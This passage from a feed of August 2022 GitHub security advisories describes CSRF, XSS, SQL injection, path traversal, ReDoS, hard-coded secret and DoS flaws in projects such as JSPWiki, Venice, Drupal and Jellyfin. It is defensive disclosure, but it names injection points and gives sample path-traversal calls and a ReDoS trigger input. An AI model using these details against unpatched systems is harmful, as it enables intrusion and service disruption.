Helm's security policy is spelled out in detail in our [SECURITY](https://github.com/helm/community/blob/master/SECURITY.md) document.

### Credits

Disclosed by Ada Logics in a fuzzing audit sponsored by CNCF.
Apache JSPWiki CSRF due to crafted invocation on the Image plugin
Advisory: GHSA-jp3m-p26h-mm7v
Aliases: CVE-2022-34158
Published: 2022-08-05T00:00:31Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

A carefully crafted invocation on the Image plugin could trigger an CSRF vulnerability on Apache JSPWiki before 2.11.3, which could allow a group privilege escalation of the attacker's account. Further examination of this issue established that it could also be used to modify the email associated with the attacked account, and then a reset password request from the login page.
Microweber's title parameter in the body of POST request vulnerable to stored XSS
Advisory: GHSA-cf6r-q678-f2p7
Aliases: CVE-2022-2777
Published: 2022-08-12T00:01:25Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H

In Microweber prior to v1.3.1, the title parameter in the body of POST request when creating/editing a category is vulnerable to stored cross-site scripting.
Byobu user preference to prevent private discussions being started are not respected
Advisory: GHSA-6gjm-6wj6-4px5
Aliases: CVE-2022-35921
Published: 2022-08-06T05:20:52Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N

### Impact
Users electing to prevent others starting private discussions with themselves.

> Please note that admins and others with appropriate permissions can always bypass this preference, as was the case before.

### Patches
Users of Byobu should update the extension to version 1.1.7, where this has been patched. **This version is only supported on v1.2.0 and later of Flarum Core.**

Users of Byobu with Flarum 1.0 or 1.1 should upgrade to Flarum 1.2 or later, or evaluate the impact this issue has on your forum's users and choose to disable the extension if needed.

### Workarounds
There are no workarounds for this issue.
Use of Hard-coded Credentials in AgileConfig.Client
Advisory: GHSA-mj5w-w588-j6xg
Aliases: CVE-2022-35540
Published: 2022-08-19T00:00:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Hardcoded JWT Secret in AgileConfig <1.6.8 Server allows remote attackers to use the generated JWT token to gain administrator access.
wildfly-core allows user with access to management interface to access vault expression, retrieve item from vault
Advisory: GHSA-w88m-2936-rmxr
Aliases: CVE-2021-3644
Published: 2022-08-27T00:00:45Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N

A flaw was found in wildfly-core in all versions. If a vault expression is in the form of a single attribute that contains multiple expressions, a user who was granted access to the management interface can potentially access a vault expression they should not be able to access and possibly retrieve the item which was stored in the vault. The highest threat from this vulnerability is data confidentiality and integrity.
Venice vulnerable to Partial Path Traversal issue within the functions `load-file` and `load-resource`
Advisory: GHSA-4mmh-5vw7-rgvj
Aliases: CVE-2022-36007
Published: 2022-08-18T19:07:58Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

### Impact
A partial path traversal issue exists within the functions `load-file` and `load-resource`. These functions can be limited to load files from a list of load paths.

Assuming Venice has been configured with the load paths: `[ "/Users/foo/resources" ]` 

When passing **relative** paths to these two vulnerable functions everything is fine:
`(load-resource "test.png")`   => loads the file "/Users/foo/resources/test.png"
`(load-resource "../resources-alt/test.png")`   => rejected, outside the load path

When passing **absolute** paths to these two vulnerable functions Venice may return files outside the configured load paths:
`(load-resource "/Users/foo/resources/test.png")`   => loads the file "/Users/foo/resources/test.png"
`(load-resource "/Users/foo/resources-alt/test.png")`   => loads the file "/Users/foo/resources-alt/test.png" !!!
The latter call suffers from the _Partial Path Traversal_ vulnerability.

This issue’s scope is limited to absolute paths whose name prefix matches a load path. E.g. for a load-path `"/Users/foo/resources"`, the actor can cause loading a resource also from `"/Users/foo/resources-alt"`, but not from `"/Users/foo/images"`.

Versions of Venice before and including v1.10.16 are affected by this issue.

### Patches
Upgrade to Venice >= 1.10.17, if you are on a version < 1.10.17

### Workarounds
If you cannot upgrade the library, you can control the functions that can be used in Venice with a sandbox. If it is appropriate, the functions `load-file` and `load-resource` can be blacklisted in the sandbox.

### References
  * [PR](https://github.com/jlangch/venice/pull/4/commits/c942c73136333bc493050910f171a48e6f575b23)
 
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [GitHub Venice](https://github.com/jlangch/venice)
* Email us at [juerg.ch](mailto:juerg.ch@ggaweb.ch)

### Credits

I want to publicly recognize the contribution of [Jonathan Leitschuh](https://github.com/JLLeitschuh) for reporting this issue.
Cleartext Transmission of Sensitive Information in moment-timezone
Advisory: GHSA-v78c-4p63-2j6c
Published: 2022-08-30T20:28:43Z

### Impact

* if Alice uses `grunt data` (or `grunt release`) to prepare a custom-build, moment-timezone with the latest tzdata from IANA's website
* and Mallory intercepts the request to IANA's unencrypted ftp server, Mallory can serve data which might exploit further stages of the moment-timezone tzdata pipeline, or potentially produce a tainted version of moment-timezone (practicality of such attacks is not proved)

### Patches
Problem has been patched in version 0.5.35, patch should be applicable with minor modifications to all affected versions. The patch includes changing the FTP endpoint with an HTTPS endpoint.

### Workarounds
Specify the exact version of tzdata (like `2014d`, full command being `grunt data:2014d`, then run the rest of the release tasks by hand), or just apply the patch before issuing the grunt command.
update_by_case before 0.1.3 can be vulnerable to sql injection
Advisory: GHSA-33wh-w4m7-c6r8
Aliases: CVE-2022-35956
Published: 2022-08-11T21:18:31Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L

Before version 0.1.3 `update_by_case` gem used custom sql strings, and it was not sanitized, making it vulnerable to sql injection. Upgrade to version >= 0.1.3 that uses `Arel` instead to construct the resulting sql statement, with sanitized sql.
OmniAuth's `lib/omniauth/failure_endpoint.rb` does not escape `message_key` value
Advisory: GHSA-pm55-qfxr-h247
Aliases: CVE-2020-36599
Published: 2022-08-19T00:00:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

lib/omniauth/failure_endpoint.rb in OmniAuth before 1.9.2 (and before 2.0) does not escape the message_key value.
Uncontrolled Resource Consumption in snakeyaml
Advisory: GHSA-3mc7-4q67-w48m
Aliases: CVE-2022-25857
Published: 2022-08-31T00:00:24Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

The package org.yaml:snakeyaml from 0 and before 1.31 are vulnerable to Denial of Service (DoS) due missing to nested depth limitation for collections.
OctoPrint does not have rate limiting on the login page
Advisory: GHSA-5w5x-q9p5-9qg3
Aliases: CVE-2022-2822
Published: 2022-08-16T00:00:31Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

OctoPrint 1.7.3 and prior does not have rate limiting on the login page, making it possible for attackers to attempt brute force attacks. The severity of this issue is limited by OctoPrint normally running in a restricted LAN. The `devel` and `maintenance` branches of the repository have a fix that limits the rate of failed login attempts.
Cross site scripting in getkirby/starterkit
Advisory: GHSA-4m2g-668v-jwjx
Aliases: CVE-2022-35174
Published: 2022-08-19T00:00:20Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

A stored cross-site scripting (XSS) vulnerability in Kirby's Starterkit v3.7.0.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Tags field.
HTML Injection in ActiveMQ Artemis Web Console
Advisory: GHSA-cv6r-h2fm-pvrp
Aliases: CVE-2022-35278
Published: 2022-08-24T00:00:29Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

In Apache ActiveMQ Artemis prior to 2.24.0, an attacker could show malicious content and/or redirect users to a malicious URL in the web console by using HTML in the name of an address or queue.
SQL injection in jflyfox jfinal
Advisory: GHSA-5rf4-f24c-hpvh
Aliases: CVE-2022-37199
Published: 2022-08-24T00:00:29Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

JFinal CMS 5.1.0 is vulnerable to SQL Injection via /jfinal_cms/system/user/list.
Polynomial regular expression used on uncontrolled data in nitrado.js
Advisory: GHSA-vqc4-v8hc-h2jg
Aliases: CVE-2022-36034
Published: 2022-08-31T22:23:39Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Impact
Possible ReDoS with lib input of `{{` and with many repetitions of `{{|`

### Patches
Patched in all versions above `0.2.5`

### Workarounds
No known work arounds.

### References
- OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS)
- Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).
- Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).
- James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](http://www.cs.bham.ac.uk/~hxt/research/reg-exp-sec.pdf).
- Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).
- Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).
NotrinosERP Cross-site Scripting vulnerability
Advisory: GHSA-hrx5-cv4v-4c44
Aliases: CVE-2022-2871
Published: 2022-08-18T00:00:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

NotrinosERP version 0.7 and prior is vulnerable to stored cross-site scripting. A fix is available on the `master` branch of the repository.
Cross site scripting in yetiforce/yetiforce-crm
Advisory: GHSA-w83m-rghh-frxj
Aliases: CVE-2022-1340
Published: 2022-08-23T00:00:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Cross-site Scripting (XSS) - Stored in GitHub repository yetiforcecompany/yetiforcecrm prior to 6.4.0.
x-data-spreadsheet through 1.1.9 vulnerable to Cross-site Scripting
Advisory: GHSA-x5cw-843f-r366
Aliases: CVE-2022-25646
Published: 2022-08-31T00:00:24Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

All versions of package x-data-spreadsheet are vulnerable to Cross-site Scripting (XSS) due to missing sanitization of values inserted into the cells.
Exposure of password hashes in notrinos/notrinos-erp
Advisory: GHSA-44w5-q257-8428
Aliases: CVE-2022-2921
Published: 2022-08-22T00:00:52Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

The AP officers account is authorized to Backup and Restore the Database, Due to this he/she can download the backup and see the password hash of the System Administrator account, The weak hash (MD5) of the password can be easily cracked and get the admin password.
npos-tesseract Command Injection vulnerability
Advisory: GHSA-mpwp-pf96-9g4r
Aliases: CVE-2020-28453
Published: 2022-08-03T00:00:57Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A command injection vulnerability affects all versions of package npos-tesseract. The injection point is located in line 55 in lib/ocr.js.
PocketMine-MP invalid skin geometry JSON data leading to server crash
Advisory: GHSA-8cwq-4cmf-px73
Published: 2022-08-18T19:19:21Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Impact
`pocketmine\entity\Skin` doesn't correctly handle errors produced by `adhocore/json-comment`, which throws `RuntimeException` rather than returning `false` as PocketMine-MP expects.

This leads to a server crash if the skin geometry data is invalid for some reason (e.g. a syntax error).

### Patches
c9626c610b8f6810c8c987559c9197b2a291f0bb

### Workarounds
A plugin could handle `LoginPacket` and `PlayerSkinPacket` to verify the skin geometry data can be parsed correctly, so that the error condition in the core code is never reached.

### For more information
If you have any questions or comments about this advisory:
* Email us at [security@pmmp.io](mailto:security@example.com)
Mapbox is vulnerable to Integer Overflow
Advisory: GHSA-4696-g7jj-xg2h
Aliases: CVE-2022-38216
Published: 2022-08-17T00:00:33Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

An integer overflow exists in Mapbox's closed source gl-native library prior to version 10.6.1, which is bundled with multiple Mapbox products including open source libraries. The overflow is caused by large image height and width values when creating a new Image and allows for out of bounds writes, potentially crashing the Mapbox process.
Drupal core arbitrary PHP code execution
Advisory: GHSA-6955-67hm-vjjq
Aliases: CVE-2022-25277
Published: 2022-08-06T09:33:38Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Drupal core sanitizes filenames with dangerous extensions upon upload and strips leading and trailing dots from filenames to prevent uploading server configuration files.

However, the protections for these two vulnerabilities previously did not work correctly together. As a result, if the site were configured to allow the upload of files with an htaccess extension, these files' filenames would not be properly sanitized. This could allow bypassing the protections provided by Drupal core's default .htaccess files and possible remote code execution on Apache web servers.

This issue is mitigated by the fact that it requires a field administrator to explicitly configure a file field to allow htaccess as an extension (a restricted permission), or a contributed module or custom code that overrides allowed file uploads.
Incorrect Access Control and Cross Site Scripting in Jellyfin
Advisory: GHSA-qwp3-5fw3-5wgv
Aliases: CVE-2022-35909
Published: 2022-08-20T00:00:39Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

In Jellyfin before 10.8, the /users endpoint has incorrect access control for admin functionality. This lack of access control can be leveraged to performe a cross site scripting attack.
Uncontrolled Resource Consumption in asyncua and opcua
Advisory: GHSA-mfpj-3qhm-976m
Aliases: CVE-2022-25304
Published: 2022-08-24T00:00:31Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

All versions of package opcua; all versions of package asyncua are vulnerable to Denial of Service (DoS) due to a missing limitation on the number of received chunks - per single session or in total for all concurrent sessions. An attacker can exploit this vulnerability by sending an unlimited number of huge chunks (e.g. 2GB each) without sending the Final closing chunk.